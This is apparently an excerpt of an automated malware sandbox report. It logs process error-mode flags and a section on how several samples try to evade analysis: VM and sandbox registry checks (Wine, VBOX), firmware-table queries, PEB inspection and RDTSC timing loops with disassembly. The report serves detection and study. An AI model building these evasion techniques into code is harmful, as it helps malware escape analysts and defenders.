Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Windows\SysWOW64\svchost.exe

Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_2-9742
Source: C:\Users\user\Desktop\random.exe_Y.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_0-10046

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe

System information queried: FirmwareTableInformation

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	API/Special instruction interceptor: Address: 7FFDB442D044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFDB442D044

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\random.exe_Y.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp, d7691cd336.exe, 00000024.00000002.2843535504.000000000068C000.00000004.00000001.01000000.0000000E.sdmp, d7691cd336.exe, 00000024.00000002.2848451278.0000000004810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp, d7691cd336.exe, 00000024.00000002.2843535504.000000000068C000.00000004.00000001.01000000.0000000E.sdmp, d7691cd336.exe, 00000024.00000002.2848451278.0000000004810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2858A8 second address: 2858AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2858AE second address: 2858B8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3458CA5146h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2858B8 second address: 2858BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 285E3D second address: 285E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 285E43 second address: 285E59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3458756CADh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 285E59 second address: 285E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 287FF6 second address: 287FFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 287FFA second address: 288000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 288000 second address: 28801D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3458756CABh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 28801D second address: 288021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 288021 second address: 288027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 288027 second address: 288090 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F3458CA5151h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e jmp 00007F3458CA5151h 0x00000013 pushad 0x00000014 jmp 00007F3458CA514Bh 0x00000019 js 00007F3458CA5146h 0x0000001f popad 0x00000020 popad 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 pushad 0x00000026 pushad 0x00000027 push edx 0x00000028 pop edx 0x00000029 jc 00007F3458CA5146h 0x0000002f popad 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F3458CA5159h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2880C2 second address: 2880C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2880C6 second address: 288168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3458CA5150h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edi, dword ptr [ebp+122D2E44h] 0x00000015 push 00000000h 0x00000017 push 15E535CAh 0x0000001c push edx 0x0000001d jp 00007F3458CA514Ch 0x00000023 pop edx 0x00000024 xor dword ptr [esp], 15E5354Ah 0x0000002b mov edx, dword ptr [ebp+122D2E44h] 0x00000031 push 00000003h 0x00000033 movsx edi, si 0x00000036 push 00000000h 0x00000038 mov edx, dword ptr [ebp+122D2B88h] 0x0000003e push 00000003h 0x00000040 mov dx, 98A9h 0x00000044 push A00375D4h 0x00000049 push edi 0x0000004a jg 00007F3458CA5148h 0x00000050 pop edi 0x00000051 add dword ptr [esp], 1FFC8A2Ch 0x00000058 mov dword ptr [ebp+122D3222h], ebx 0x0000005e lea ebx, dword ptr [ebp+1244CF43h] 0x00000064 call 00007F3458CA514Bh 0x00000069 mov dword ptr [ebp+122D1C6Fh], ecx 0x0000006f pop ecx 0x00000070 xchg eax, ebx 0x00000071 push eax 0x00000072 push edx 0x00000073 jmp 00007F3458CA5156h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 288168 second address: 288179 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3458756CADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 288179 second address: 288198 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA5153h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 288198 second address: 28819C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 288204 second address: 288208 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
